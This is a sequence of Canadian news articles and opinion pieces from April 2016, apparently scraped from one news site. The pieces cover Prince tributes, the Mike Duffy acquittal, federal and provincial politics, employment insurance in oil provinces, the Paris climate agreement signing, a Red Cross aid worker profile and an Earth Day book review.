But with Prince's passing that morning, people assumed the purple Niagara Falls was an ode to his hit song "Purple Rain."

Niagra Falls lite up in purple tonight to honor Prince. pic.twitter.com/NlTm7IrT4u  philly chilly (@chilly915) April 22, 2016

Niagra falls is purple in honor of Prince. Amazing.  Blessed One (@SapioSexualSita) April 22, 2016

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@norm i'm glad the CN Tower will be purple in honour of Prince! May his R&B soul rest forever in peace!! No disrespect to the Queen!  Charlene Best (@allthebest1959) April 21, 2016

The CN Tower is lit purple tonight ... as Toronto says: "goodbye".  Dale Percy (@DalePercy74) April 22, 2016

In honour of Her Majesty's birthday, the CN Tower will be lit purple and violet tonight. #HappyBirthdayYourMajestypic.twitter.com/uWe4WX7IBY  Norm Kelly (@norm) April 21, 2016

Niagara Falls lit up in Purple for our Queen's 90th I'm sure she would be happy sharing that purple with Prince pic.twitter.com/u0YstrsuJH  Lynn Parsons (@LynnParsonsUK) April 21, 2016

Prince definitely knew about the Niagara thing today. You don't live that carefree and not go out on your own terms.  Spyke Daniels (@turtlewithapen) April 21, 2016

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OTTAWA  One of the federal NDPs former rising stars has decided she wants to run for the provincial Liberals in Ontario.

Rathika Sitsabaiesan, the former NDP MP for the Toronto-area riding of ScarboroughRouge River submitted her nomination papers to the Ontario Liberal Party this week, The Huffington Post has learned. She is seeking a seat in an upcoming byelection in ScarboroughRouge River, vacant since longtime MPP Bas Balkissoons surprising resignation last month. The riding has been Liberal since its creation in 1999.

UPDATE: Sitsabaiesan confirmed the news in a Facebook post Saturday, saying she was inspired to run for the Ontario Liberals because of their pledge of free post-secondary education for low-income students. She also explained the move in a television interview Monday.

Rathika Sitsabaiesan rises during Question Period in the House of Commons, Nov. 24, 2011. (Photo: Adrian Wyld/CP)

Sitsabaiesan was defeated in the Oct. 19 federal election when the NDP was completely wiped out in Toronto. She came in third with 22 per cent support, 10,000 votes behind her Liberal rival, Shaun Chen, who won 48 per cent of the vote. The Conservative, Ravinder Malhi, came in second with 27 per cent.

The 34-year-old was only elected in 2011 under then NDP leader Jack Laytons wave, winning what had originally been thought of as a safe Liberal seat. Born in Sri Lanka, Sitsabaiesan became the first parliamentarian of Tamil descent. She immigrated to Canada when she was five.

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On March 28, she took to Facebook to thank her supporters and announce that she had taken a vacation, got some much needed rest and spent time with her family.

I am now back home in Scarborough and ready to figure out and work toward the next step, she wrote. No matter what, I will always love and work for the betterment of our communities, province, country and global society.

Her page makes no mention of running for Kathleen Wynnes Liberals; it features mostly election-style posts urging people to vote for the federal NDP.

Former MP made headlines after Sri Lanka trip

For most of her parliamentary career, Sitsabaiesan escaped national headlines but two years ago, following a personal trip to Sri Lanka, the NDP MP reported that she had been followed, and that men had shown up with at an orphanage she was visiting with a warrant for her arrest.

She told The Toronto Star she had fled to her hotel room without detection and was later assured that there was no warrant for her arrest. But the next day, she said, she was followed again, and three men described as immigration officials questioned her.

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The Sri Lankan High Commission lashed out, saying she was trying to embarrass the country and pass judgment on a sovereign state, according to a CBC report.

Sitsabaiesan could not be reached for comment.

She is one of a handful of NDP MPs who have left the federal party. Former NDP MP Glenn Thibeault left the party in 2015 to run, and win, a byelection for Wynnes Liberals in Sudbury. Newfoundland NDP MP Ryan Cleary, defeated on Oct. 19, jumped to the Newfoundland and Labrador Progressive Conservatives for the provinces Nov. 30 general election but was defeated by a Liberal.

The Ontario byelection is expected to be called within six months.

Also on HuffPost:
ronniechua via Getty Images Dramatic sky over two pumpjacks in rural Alberta, Canada. These jacks can extract between 5 to 40 litres of crude oil and water emulsion at each stroke.

More and more people in Canada's oil-dependent provinces are tapping into employment insurance (EI) to make ends meet.

That much is clear from a report released by Statistics Canada on Thursday. It showed the number of regular EI claimants up 6.7 per cent in the year to February, with oil regions leading the way.

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Alberta EI claims grew by 78.9 per cent year over year in February 2016. EI claims also rose by 38.6 per cent in Saskatchewan and 12.9 per cent in Manitoba.

The number of Alberta men claiming EI almost doubled in a year (91.4 per cent), while female claimants rose by 54.7 per cent.

EI claims began rising in Alberta at the tail end of 2014, after oil prices started dropping from highs around $100 per barrel.

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Compared to January, EI claims were up 2.4 per cent in the province, with the number of recipients growing in Calgary (2.5 per cent) and Edmonton (1.4 per cent).

Alberta's EI claimants form about three per cent of its labour force  the same as it was in 2009, when oil crashed following the financial meltdown, University of Calgary economics professor Trevor Tombe tweeted.

As a fraction of the labour force, now ~3% are receiving EI benefits. Same level as 2009. #ablegpic.twitter.com/HSAnpGJUlT  Trevor Tombe (@trevortombe) April 21, 2016

But he also posted a chart showing that that share is lower than it is for the rest of Canada.

For perspective, this shows AB's EI share of labour force is better than Rest of Canada. #ablegpic.twitter.com/KMcMACMU4E  Trevor Tombe (@trevortombe) April 21, 2016

Meanwhile, in Saskatchewan, the number of people receiving EI rose for the fourth straight month, jumping 3.5 per cent from January.

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The Yukon saw the most dramatic decrease in EI claimants, dropping by 16.3 per cent year over year, followed by Quebec, where claims fell by 4.6 per cent.

Quebec's government announced last month that it had a $2 billion surplus, and would use the money to chip away at debt of $207.7 billion.

The trend comes as the federal government has introduced a measure that makes it easier for unemployed workers to claim EI in certain parts of the country.

Calgarians are eligible for the changes, but Edmontonians are not  an arrangement that had politicians complaining.

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Prime Minister Justin Trudeau said residents of Edmonton should feel "fortunate" that circumstances aren't bad enough for the changes to apply to them.

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"America does not actually own you anymore. You are free to leave."

That's the message that one mock political party has for African Americans.

In a new video from The Canada Party, a satire group advocating that our great nation be elected U.S. president, "Canada's Black Guy" tries to convince folks to move up north.

"Let's face it, America doesn't have a race problem, it has a race system. It's not broken, it's designed to work against you," he says, dressed in stereotypical Canadian garb.

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"Your voter laws are made to prevent you from voting, which is like enforcing speed limits by slashing all the black tires."

He alluded to the fact that a huge proportion of those incarcerated in U.S. prisons are black.

"America didn't end slavery, they just got the outfits to match."

"Your voter laws are made to prevent you from voting, which is like enforcing speed limits by slashing all the black tires."

According to the National Association for the Advancement of Colored People, African Americans make up almost a million of the 2.3 million people in jail.

Many would be quick to point out that Canada has its own issues with race, and the speaker is quick to emphasize that we aren't immune.

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Ontario only recently banned the practice of police carding, a random street check that advocates said unfairly targeted black men. Advocacy group Black Lives Matter held a 15-day sit-in outside Toronto's police headquarters in March after the force's Special Investigations Unit opted not to charge cops in the shooting death of a black man.

But the satirical campaigner does make one grim point  those who are shot in our country are guaranteed free medical treatment.

The guys behind The Canada Party have released other videos mocking U.S. politics, as well as a humour book.

Also on HuffPost
OTTAWA  There were no apologies from Conservatives on Friday following a scathing court judgment that exonerated Sen. Mike Duffy of 31 expense-related criminal charges while indicting his former political masters in the Prime Minister's Office of Stephen Harper.

Only Conservative MP Candice Bergen was willing to speak with reporters, offering up a stout defence of Harper's leadership while avoiding the specifics of the Duffy verdict.

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Conservative MP Candice Bergen walks to Conservative caucus in Ottawa on Thursday, Nov. 5, 2015. (Photo: Adrian Wyld/CP)

Judge Charles Vaillancourt, in acquitting Duffy of all charges a day earlier, painted an exacting portrait of Harper's underlings manipulating the Senate using a covert command-and-control system that the veteran judge flatly deemed "unacceptable."

Tight, centralized control from the Prime Minister's Office isn't a new story in Canada's parliamentary system, but the Duffy trial testimony and judgment gave rare insight into what Vaillancourt described as a "mind-boggling and shocking" case study.

Donald Savoie, a political scientist who literally wrote the book on "court government," said in an interview that his 1999 academic treatise "Governing From the Centre" was considered a bit over the top at the time.

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"Clearly I didn't overstate the case," Savoie said Friday from his University of Moncton office.

'They over-played their cards'

From his vantage point, Savoie said Vaillancourt absolved Duffy and found the PMO guilty.

"They over-played their cards," said the acclaimed student of governments and bureaucracies. "It demonstrated tremendous disrespect for the institutions of the land, for parliament, for the Senate, for the House of Commons."

"I think the lesson learned for the current PMO is, look, guys and gals, you can't push your weight around like that anymore. It doesn't work. The level of transparency now (means) we will know."

Harper, still the MP for Calgary-Heritage, did not respond to a request for comment through his office.

Kenney, Van Loan exit through back doors

Conservative interim leader Rona Ambrose was not in the House of Commons and top former cabinet ministers who were on hand, such as Jason Kenney and Peter Van Loan, exited by back doors rather than face reporters seeking reaction to the ruling.

Former cabinet member Michelle Rempel, usually a garrulous and open MP, offered a terse "no comment" as she sped past the microphones.

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Sen. Mike Duffy leaves the courthouse at the conclusion of his trial on April 21, 2016 in Ottawa. (Photo: Justin Tang/CP)

Only Bergen, the Conservative MP for Portage-Lisgar and former minister of state for social development, was prepared to face the news cameras and defend her old government.

Narrative all wrong, Bergen says

"I would respectfully disagree with people, including the judge, who somehow thinks that we were all told what to do at the PMO," said Bergen.

She said the Conservatives worked as a team, while acknowledging Harper's image problem as a control freak, contrasting him to current Prime Minister Justin Trudeau.

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"It was the narrative because Mr. Harper wasn't the selfie king at all. He wasn't in GQ (magazine)," said Bergen.

"He wasn't talking with all of you (news media) folks as much as you probably would have wanted. The narrative then was he's controlling, he's a dictator. That was the narrative. It wasn't true. He was a strong, strong leader."

"Mr. Harper wasn't the selfie king at all. He wasn't in GQ. He wasn't talking with all of you (news media) folks as much as you probably would have wanted. The narrative then was he's controlling, he's a dictator. That was the narrative. It wasn't true. He was a strong, strong leader."  Candice Bergen

With Duffy fully reinstated in the Senate and former PMO staff scattered to the winds, NDP MP Peter Julian was left to wonder, "who's taking responsibility for this fiasco?"

John McKay, a veteran Liberal MP who's now parliamentary secretary to the defence minister, gave a surprisingly frank response when asked how Canadians can know that the same old centralized power won't continue in the Prime Minister's Office.

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"In some respects you don't," said McKay.

Could same thing happen in Trudeau's PMO?

He then pointed to Trudeau's decision to remove all Liberal-appointed senators from the party caucus and create a more partisanship-free Senate appointment process.

"That creates its own level of difficulties," said McKay. "In fact, we're in kind of a no-man's land as to how we get our own legislation through."

Nonetheless, McKay called Vaillancourt's judgment good for democracy.

"I wish it was not so, but I think the judge has done us all a service to call our democracy to an account. And thank goodness we operate under the rule of law, and not under the rule of gossip."

Silver lining

Savoie, the long-time critic of centralized government control, also sees a silver lining.

The Senate will be forced to firm up its rules and regulations, Senate appointments will be less partisan and the PMO has been proven vulnerable to exposure of its inner workings.

"I think change will come about and we've started to see it," said the academic.

"There's accountability through rules and processes; that's one kind of accountability. The other form of accountability is reputation. Some reputations were destroyed through this process."

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Prime Minister Justin Trudeau made two references to colonialism in the span of 10 minutes during a talk with New York University students Thursday, but only one of those remarks surfaced in question period the next day.

NDP MP Niki Ashton rose in the House of Commons Friday to say that Trudeau told American students that Canada doesn't have the baggage of colonialism.

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"I repeat, he said that Canada doesn't have the baggage of colonialism," she said, incredulous.

NDP MP Niki Ashton asks a question during Question Period in the House of Commons in Ottawa on June 4, 2015. (Photo: Sean Kilpatrick/CP)

Ashton wondered if such a remark might explain why, "six days after taking office," the federal government signed a "secret deal" to let the Catholic Church out of its obligation to provide millions of dollars in restitution for residential school survivors. The story was first reported by The Globe and Mail.

Indigenous Affairs Minister Carolyn Bennett responded that "this government" did no such thing, saying the previous government signed the agreement on Oct. 30, days before Liberals took office on Nov. 4.

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"We believe that the Catholic Church and only the Catholic Church can achieve reconciliation with indigenous people in this country and we are urging them to do the right thing, and pay the money that they promised to pay," Bennett said. "They have a moral obligation to do this for the healing of indigenous people."

Bennett then tried to "clarify" what Trudeau said to U.S. students, but ran out of time.

Prime Minister Justin Trudeau takes part in a question and answer session with students at New York University in New York on April 21, 2016. (Photo: Sean Kilpatrick/CP)

Trudeau: 'Awful lot of work to do'

A video of the prime minister's session at NYU shows that he did make references to colonialism, after two questions: one about First Nations and the other of Canada's history of peacekeeping.

After a student asked Trudeau how his government was going to improve the quality of life for First Nations, the prime minister said that while Canada "talks a pretty good game" on human rights, for "past decades, and indeed centuries" the country has failed indigenous peoples.

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"We have consistently marginalized, engaged in colonial behaviours, in destructive behaviours, in assimilationist behaviours that have left a legacy of challenges to a large portion of people who live in Canada, our indigenous peoples," he told the group.

"We have consistently marginalized, engaged in colonial behaviours, in destructive behaviours, in assimilationist behaviours that have left a legacy of challenges to a large portion of people who live in Canada, our indigenous peoples."  Justin Trudeau

Trudeau said his government is committed to re-shaping the nation-to-nation relationship with Canada's indigenous communities, and noted that the federal budget's earmarked $8.4-billion over five years in aboriginal funding won't be enough to solve all problems in infrastructure, education, and health.

"There is an awful lot of work to do," he said.

Next, a student asked if peacekeeping might be a part of Canada's future, not just its past.

Trudeau said he was committed to re-engaging with United Nations peacekeeping. He added Canada has a capacity to head to "some of the difficult places in the world without some of the baggage that so many other Western countries have, whether it's colonial pasts or perceptions of American imperialism, as a critique that's often out there."

And it's that quote Ashton, a possible candidate for the NDP leadership, referenced in question period Friday.

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Trudeau's full talk can be seen below. The two questions referenced in this story can be heard between the 27:00-37:00 mark:

Cameron Ahmad, Trudeau's press secretary, told The Huffington Post Canada that the prime minister was referring to foreign affairs and drawing a distinction between Canada and other nations that engaged in colonialism beyond their borders.

"It's quite clear how the prime minister thinks about attitudes to indigenous people in past years, and all the work that needs to be done to rectify that," Ahmad said.

In 2009, former prime minister Stephen Harper sparked controversy when he told an American audience at the G20 in summit in Pittsburgh that Canada has "no history of colonialism."

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"So we have all of the things that many people admire about the great powers but none of the things that threaten or bother them," Harper said at the time, according to reports.

Then-Assembly of First Nations Chief Shawn Atleo demanded an apology, saying the remark reflected a "need for greater public education about First Nations and Canadian history."

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Kensington Palace had some special guests Friday, and Prince George figured he might as well drop in on them. You know, just to see what they're up to.

Prince George meets The President and First Lady of the United States. A photo posted by Kensington Palace (@kensingtonroyal) on Apr 22, 2016 at 12:57pm PDT

Wearing gingham pyjamas, baby slippers and an embroidered bathrobe, the adorable prince met up with the U.S. President Barack Obama and First Lady Michelle Obama, who were invited to the palace for a dinner party by the Duke and Duchess of Cambridge and Prince Harry.

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And if that wasn't cute enough, photos released by the palace also show Prince George playing on a wooden rocking horse the Obamas gifted him when he was born in 2013.

Prince George meets The President and First Lady of the United States pic.twitter.com/HZxelhSSr4  Kensington Palace (@KensingtonRoyal) April 22, 2016

Prince George thanks @BarackObama for his rocking horse, given to him when he was born pic.twitter.com/xXIF8QeQvz  Kensington Palace (@KensingtonRoyal) April 22, 2016
THE CANADIAN PRESS/Adrian Wyld

Mike Duffy won.

Two and a half years after warning Canadians he "violated no laws" and "followed the rules," the senator from Prince Edward Island was vindicated Thursday when an Ontario court judge acquitted him of all 31 charges laid against him.

What's more, Justice Charles Vaillancourt sided with Duffy. It was he, the Old Duff, not the Prime Minister's Office, the judge said, who had been the victim of a "mindboggling and shocking" series of events.

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Duffy's "free will" had been "overwhelmed" and he had "capitulated" as a result of the PMO's -- Prime Minister Stephen Harper's office, that is, -- "threatening efforts," the judge said.

The Crown "stated that Senator Duffy's actions were driven by deceit, manipulations and carried out in a clandestine manner representing a serious and marked standard expected of a person in Senator Duffy's position of trust," Vaillancourt said.

Harper's office had basically forced someone who they believe had done nothing wrong to publicly admit the opposite.

"I find that if one were to substitute the PMO, Nigel Wright and others for Senator Duffy in the aforementioned sentence that you would have a more accurate statement."

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Harper's office had basically forced someone who they believe had done nothing wrong to publicly admit the opposite just to save the Conservative government from political embarrassment, the judge said.

Except, Vaillancourt delivered that admonishing judgment in a much more vivid and reprimanding fashion.

The emails presented in court revealed the "unbelievable lengths" that "Wright and his crew" had gone to deal with their "Duffy Problem," he said.

"The precision and planning of the exercise would make any military commander proud," Vaillancourt said.

"Could Hollywood match such creativity?" he later asked.

The PMO had first hoped Duffy would stay quiet and the problem of his living expenses would go away. When the "stay quiet and hope things disappear strategy" didn't work, the judge said, it switched gears towards "the mistake and repay strategy." Except Duffy didn't want to be a part of it. He "was resisting and kicking and screaming every step of the way."

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Vaillancourt repeated that Duffy was "kicking and screaming" twice, re-emphasizing the senator's reluctance to go through with this plan.

Duffy always maintained he didn't owe any money and his expenses were proper. He wanted auditors at Deloitte to hear his side of the story. "He begged not to have to go through with the plan," the judge said.

But Harper's PMO employed "a steady stream of threats and pressure" from "all quarters," to force Duffy to go along, the judge said.

"It is interesting that no one ever suggested 'doing the legal thing,'" Vaillancourt said to chuckles from the courtroom. "The message was always to 'do the right thing.'"

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"I find that the 'do the right thing' message had only one meaning. Senator Duffy was to do the politically right thing by admitting 'his mistake' and repaying back the accrued living expenses," the judge said.

First, the PMO had tried to get the Conservative Party of Canada to provide the funds for the repayment. Then, when that failed, Wright stepped up and provided the funding out of his own pocket, the judge said.

"He explained that the $90,000.00 payment did not impact his bottom line. It seemed that this sum was a mere bagatelle.

"I find based on all of the evidence that Senator Duffy was forced into accepting Nigel Wright's funds so that the government could rid itself of an embarrassing political fiasco that just was not going away."

The "scenario" hatched had not been for Duffy's benefit but rather "for the benefit of the government and the PMO.

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"This was damage control at its finest," the judge ruled.

"Does the reading of these emails give the impression that Senator Duffy was going to do as he was told or face the consequences?"

Vaillancourt, a Toronto-based judge who was a school teacher before being appointed to the bench in 1990, seemed particularly troubled by the lengths Wright and his office had gone to fix their political problem.

The emails released at trial between Duffy, his lawyer and various Harper staffers, the judge said, caused him to pause and ask himself if he was really seeing the inner workings of the Prime Minister's Office.

"Was Nigel Wright actually ordering senior members of the Senate around as if they were mere pawns on a chessboard?" he asked. "Were those same senior members of the Senate meekly acquiescing to Mr. Wright's orders?

"Were those same senior members of the Senate robotically marching forth to recite their provided scripted lines?

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"Did Nigel Wright really direct a Senator to approach a senior member of an accounting firm that was conducting an independent audit of the Senate with the intention to either get a peek at the report or part of the report prior to its release to the appropriate Senate authorities or to influence that report in anyway?

"Does the reading of these emails give the impression that Senator Duffy was going to do as he was told or face the consequences?

"The answers to the aforementioned questions are: YES; YES; YES; YES; YES; and YES!!!!!" the judge said, reading emphatically from his judgement.

"In the context of a democratic society, the plotting as revealed in the emails can only be described as unacceptable," he told the court room.

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Duffy, a former television broadcaster who was appointed to the Senate by Harper in 2009, was charged in July, 2014, with 15 counts of various frauds, 15 counts of breach of trust and one count of bribery of a judicial officer.

A year earlier, the P.E.I. senator had been ostracized by his Senate colleagues, kicked out of the Conservative caucus and suspended from the upper chamber by his Tory peers after news emerged he was claiming living expenses for stays and meals in his long-time Ottawa home.

Duffy always insisted he did nothing wrong. He told anyone who would listen that he was only claiming expenses for items that other senators in his situation were also doing. In a speech to his Senate colleagues, right before his expulsion, he urged them to show more backbone than he had in dealing with the PMO.

Stand up and "restrain the unaccountable power of the PMO," he urged, don't take "dictation from kids in short pants down the hall."

"The sad truth is I allowed myself to be intimidated into doing what I knew in my heart was wrong out of a fear of losing my job and out of a misguided sense of loyalty."

"The sad truth is I allowed myself to be intimidated into doing what I knew in my heart was wrong out of a fear of losing my job and out of a misguided sense of loyalty," he said.

"I wish I had had the courage to say no back in February when this monstrous political scheme was first ordered."

The move to throw him out of the Senate amounted to "a serious violation" of his human rights, "including the most fundamental right of all, to be considered innocent until proven guilty," he added.

"I've violated no laws, I've followed the rules, and I've got a ton of documentation," Duffy told them.

The truth, he suggested, would all come out, in due course, when "all the players are under oath and the email chain can be seen in its entirety."

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Thursday, the judge said Duffy was right.

The emails cleared him. It was the PMO who had acted inappropriately. Mike Duffy was a believable and hard working senator, the judge said. He was not a criminal.

He was the victim.

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April 22 is Earth Day, so it is fitting that this day has also been chosen for world leaders to sign one of the most significant international agreements to protect our planet in recent history.

Today, Canadian Prime Minister Justin Trudeau joins 196 other heads of state in New York to officially sign the Paris Agreement -- a global commitment to address the growing impact of climate change, with a focus on reducing greenhouse gas emissions. It will enter into force in 2020.

The signing of the Paris Agreement is a landmark occasion. As the world's first comprehensive climate agreement, it moves us one step closer to achieving the sustainable world we want.

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Why is it so important?

Children disproportionately affected by climate change

Children around the world are disproportionately vulnerable to the impacts of climate change. With extreme weather events becoming more frequent, children are at greater risk of disease and death, along with malnutrition from changing agricultural yields. As families also struggle to maintain their livelihoods and to avoid separation that can occur with sudden onset disasters, children also become exposed to the dangers of exploitation, violence and abuse.

It is our collective responsibility to leave a sustainable world for our children and their children.

Many of the countries that are the most susceptible to the effects of climate change are also the ones that have the highest number of children as a share of their overall population.

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Curbing greenhouse gas emissions therefore isn't just about improving the air we breathe. It's about so much more. It's about helping to protect the most vulnerable. It's about making sure we leave behind a world that is safer, cleaner and more sustainable for generations to come.

Canada at forefront of innovative climate finance

Canada is at the forefront of innovative ways to finance global climate action, including through participation in the international Green Climate Fund, the global platform for investments in low-emission and climate-resilient development, and by working to mobilize private sector investment through the G7 African Renewable Energy Initiative. Canada is well-placed to continue to play an international leadership role in these areas.

Canada took a welcome step forward in December with a commitment of $2.65 billion over five years to help address climate change in developing countries. This will go a long way to securing the future of millions of children and their communities. Funding for climate adaptation and investment in disaster risk reduction is essential to ensure that vulnerable children and communities are better able to cope and more resilient to the effects of climate change.

We are encouraged by the commitments made in Paris to support the poorest and most vulnerable countries, including specific commitments to the Least Developed Countries Fund to support critical adaptation action; support for investments to improve Climate Risk and Early Warning Systems (CREWS) and Climate Risk Insurance.

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The Paris Agreement will build on this momentum. It commits countries to keep the rise in global temperatures well below two degrees Celsius compared to pre-industrial times, while striving to limit them even more to 1.5 degrees. It calls on developed countries to give $100 billion annually to help developing countries and emerging economies combat climate change and foster greener economies. It tasks countries with preparing and publishing ambitious greenhouse gas reduction targets. And, it sets the goal of a carbon-neutral world sometime after 2050 but before 2100.

Sustainable energy a game changer for children

As the world enters this new era of climate action, we encourage Canada and all other nations to continue putting children first. We must act to help children and communities in vulnerable countries to adapt to current and future climate change and to ensure resilience to future challenges.

Low-carbon development is crucial for the future of children and can pave a path to long-term sustainable development without increasing emissions. Low-carbon investments can benefit the most disadvantaged children and produce a win-win for children and the climate.

Sustainable energy can be a game changer for children and sustainable energy solutions can provide major opportunities in terms of improving their health, education, well-being and development.

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Low-carbon investments can benefit the most disadvantaged children and produce a win-win for children and the climate.

It is our collective responsibility to leave a sustainable world for our children and their children, who will have to face the impact of climate change and environmental degradation.

Let's work together to make sure no more children die of household air pollution from using unsafe cookstoves. To make sure no more girls experience violence on poorly lit streets as they walk to collect fuel. To make sure schools are eco-friendly and cyclone-resistant in high-risk areas.

Let's make sure children, and their children's children, have the greatest chance to survive and thrive in this ever-changing world.

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We are witnesses to history as we watch countries come together this Earth Day to formally sign on to the Paris climate agreement.

In December, we cheered as 195 countries agreed to keep global warming beneath a 2C threshold, and aim for just 1.5C from pre-industrial levels. While that agreement was hard fought and much celebrated, it wasn't the end of our work. It was just the start for governments, businesses and organizations.

And now we've come to the next step: signing the agreement. To move beyond a mutual agreement to one that is legally binding, 55 per cent of member countries must sign and then ratify the agreement in each country, representing at least 55 per cent of all global greenhouse gas emissions.

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Once ratified, we can't stop there. Countries need to set targets and create regulations and laws to meet them.

We know the consequences of climate change will be devastating for our planet, nature and humanity.

This last step is key. Canada's withdrawal from the Kyoto climate protocol in 2011 demonstrated that these agreements can fail despite best intentions if countries don't take action to ensure they are on track.

The Canadian federal government's initial steps and consultations are promising, and we look forward to working with them to achieve the deep and significant emission cuts that are necessary to get us back on track for a world with less than 2C warming.

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We know the consequences of climate change will be devastating for our planet, nature and humanity. That's why at WWF-Canada we celebrate Earth Day with the good news that our country is signing the Paris accord, but know that this is only the first step.

Now it's time to act. Here's what's at stake:

The health of Canada's rivers and lakes . According to the Intergovernmental Panel on Climate Change, freshwater ecosystems are the most vulnerable to the effects of climate change. We're already seeing those impacts in Canada, where WWF's Watershed Reports found that the current threat from climate change is "moderate" to "high" in nine of the 11 watersheds that we've assessed so far.

. According to the Intergovernmental Panel on Climate Change, freshwater ecosystems are the most vulnerable to the effects of climate change. We're already seeing those impacts in Canada, where WWF's Watershed Reports found that the current threat from climate change is "moderate" to "high" in nine of the 11 watersheds that we've assessed so far. The stability of northern communities, ecosystems and species . Warming in the Arctic is happening at twice the global average rate, impacting weather patterns, species migrations, and most importantly, sea ice and permafrost. Sea ice is a foundation for Arctic communities and marine life, acting as a platform for travel and hunting and providing critical habitat.

. Warming in the Arctic is happening at twice the global average rate, impacting weather patterns, species migrations, and most importantly, sea ice and permafrost. Sea ice is a foundation for Arctic communities and marine life, acting as a platform for travel and hunting and providing critical habitat. The resiliency of ocean ecosystems. Increased temperatures from climate change are altering entire ecosystems, while higher levels of acidity is putting tremendous pressure on species. Ocean ecosystems are already crashing due to overfishing and these new forces are making them even more delicate.
Tamara Bournival and her husband quit their jobs. They packed up the essentials, and then, along with their two young children, set off backpacking around the world for a year.

While in Nepal, Tamara met a nurse and doctor working in remote communities. As a pharmacist, she was particularly interested, and toured some of the facilities in the area. Later, Tamara would return to Nepal with the Canadian Red Cross, where her expertise as a pharmacist would help save lives.

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As Canadians, we owe it

Even as a kid Tamara had ambitions of "saving the world," with visions of travelling abroad to help vulnerable people. A proud Canadian, Tamara says she feels so fortunate to have been born here: "It's like winning the lottery, being born in Canada. So we owe it. As Canadians we have an obligation to help others." This philosophy fuels Tamara's humanitarian work.

When she joined the military, Tamara trained to be part of the Disaster Assistance Response Team (DART). While she was not deployed with DART (her only mission was cancelled 24 hours before it was scheduled to begin) this training "lit a flame" in Tamara, she says.

Years later, her travels with her family reinvigorated the need to give back and she joined the Canadian Red Cross. Tamara has been deployed as a pharmacist to the Philippines following Typhoon Haiyan, and to Nepal following last year's earthquake.

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What a good day looked like

Disasters continue to impact healthcare long after they occur. Damaged and destroyed infrastructure adds additional strain in vulnerable communities. So when a young boy stepped on a jagged piece of metal while helping his father rebuild the family's roof in the Philippines, the situation became serious.

When the boy was brought to the emergency field hospital where Tamara was working, he had tetanus. Tetanus is an infection affects the nervous system, causing muscles to severely spasm. In areas with stronger medical infrastructure, tetanus is rare - but in other areas tetanus can be fatal.

Tamara recalls when the boy arrived at the hospital - the prognosis was not good. He had to be heavily sedated using IV medications for two weeks, a treatment that was extra complicated due to the drugs required.

When the Canadian Red Cross deploys their emergency field hospital, they bring medicine with them in part to make sure the hospital is able to sustain itself without impacting the already strained health system in these areas. There simply weren't enough of the drugs required to maintain his treatment.

Tamara would spend at least half her day traveling the area, going to other pharmacies and hospitals in order to get approved prescriptions to acquire the drugs needed to sustain the coma for two weeks. But she is quick to point out that her efforts were all part of her team coming together and "rallying to save the boy's life."

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In a hospital that saw many unhappy endings, Tamara says there wasn't a dry eye when the boy was discharged after truly beating the odds: "It was one of those feel-good stories you weren't expecting."

What a stressful day looked like

Nerve-wracking aftershocks followed the major earthquake in Nepal. Tamara recalls a moment when communication was lost with a Red Cross team located in a remote valley following a powerful aftershock. Tamara had just visited that team, and trying to reach them was incredibly stressful.

In overwhelming moments like that, Tamara says she focuses on doing her part and her work and relies on faith that her team members are doing the same.

Giving back feels good

When speaking with Tamara about her work as a humanitarian, she stresses that she feels incredibly fortunate to be able to do this work, and that she personally feels like she is gaining a lot from it. "Giving back gives to you. Giving back feels good," she says.

Her advice for an aspiring humanitarian? Start small.

"Get involved, volunteer, help in your community. Make giving back a part of your routine and a priority. The Canadian Red Cross has local and international opportunities, and we all have different ways to give back. Everyone has their skillset, it's important to put it to use."

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Faces of Humanity

Tamara Bournival is one of the Canadian humanitarians highlighted as part of Faces of Humanity, a campaign that is examining Canada's humanitarian story through personal accounts of Canadian Red Cross aid workers. This project is made possible through the generous support of the Government of Canada.

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Colin Anderson via Getty Images Mixed race businessman using touch screen computer outdoors

As another Earth Day dawns, I can safely predict that one topic will dominate the news cycle: predictions of doom. Those predictions of impending ecological catastrophe, however, will likely turn out to be wrong.

As award-winning science writer Ronald Bailey points out in his recent book, The End of Doom: Environmental Renewal in the Twenty-first Century, "The foretellers of ruin have consistently been wrong, whereas the advocates of human resourcefulness have nearly always been right."

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Predictions of doom have a certain perverse psychological appeal -- and an undeniable political usefulness. When people are scared, they are more likely to give up power to those who promise to protect them. They shouldn't, because according to Bailey, luminaries like Norman Borlaug and Julian Simon who bet on human ingenuity are being vindicated.

Think we have a population problem? So did Paul Ehrlich, author of the 1968 book, The Population Bomb, who predicted global famines in the 1970s due to population growth outstripping food production. But despite tens of millions having tragically died of malnutrition over the decades, globe-spanning famines have not come to pass, even though population has roughly doubled from 3.6 billion in 1968 to over seven billion today.

"Unlike deer that starve when their food runs out, people work to increase supplies."

The reason, as Bailey puts it, is quite simple: "Unlike deer that starve when their food runs out, people work to increase supplies." That's just what Norman Borlaug did, spearheading a Green Revolution that swept the globe in the 1960s. For his efforts to increase crop yields, he was awarded the Nobel Peace Prize in 1970.

At any rate, the world is undergoing a demographic transition. In premodern societies, life expectancy was below 40, and nearly one in three died before the age of five, so people had big families. When we stopped dropping like flies, population did explode -- at first. But today, with global life expectancy above 70, and only one in 20 dying before the age of five, family sizes are shrinking fast. Population is still growing, but more slowly, and is set to peak around mid-century.

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OK, so maybe population is not such a big worry, but we are running out of resources, aren't we? In 1980, Julian Simon, author of The Ultimate Resource, made a bet with Ehrlich that the price of five commodity metals (copper, chromium, nickel, tin and tungsten) would go down over the next 10 years, indicating that resources were not dwindling. In 1990, Ehrlich admitted defeat and sent Simon a cheque.

Bailey notes that if the bet had been run from 2003 to 2013, Simon would have lost, but this is due in large part to rapidly growing demand from emerging economies like China and India. He cites convincing figures to show that fears of peak oil, peak water, peak fertilizer and peak lithium are all wildly overblown.

"Proponents of peak depletion get it wrong because they treat natural resources as fixed stocks, failing to take into account the inherent dynamics of market forces and technological innovation," Bailey writes.

We think the opposite is true, writes Bailey, "because activists make a living peddling fear."

One thing that has peaked in wealthier parts of the world is pollution. Beyond a certain point, richer is cleaner, at least when it comes to things like landscape degradation, water pollution, agricultural wastes, municipal-related wastes and several air pollution measures. We think the opposite is true, writes Bailey, "because activists make a living peddling fear."

We are also approaching peak farmland as increases in crop productivity allow us to leave more and more land to nature. The innovation of lab-grown meat promises to accelerate this process, as it would require up to 99 per cent less land, 96 per cent less water and 45 per cent less energy, and produce up to 96 per cent less greenhouse gas emissions. Summing up this chapter, Bailey writes: "While the production of some supplies of physical resources may peak, there is no sign that human creativity is about to peak."

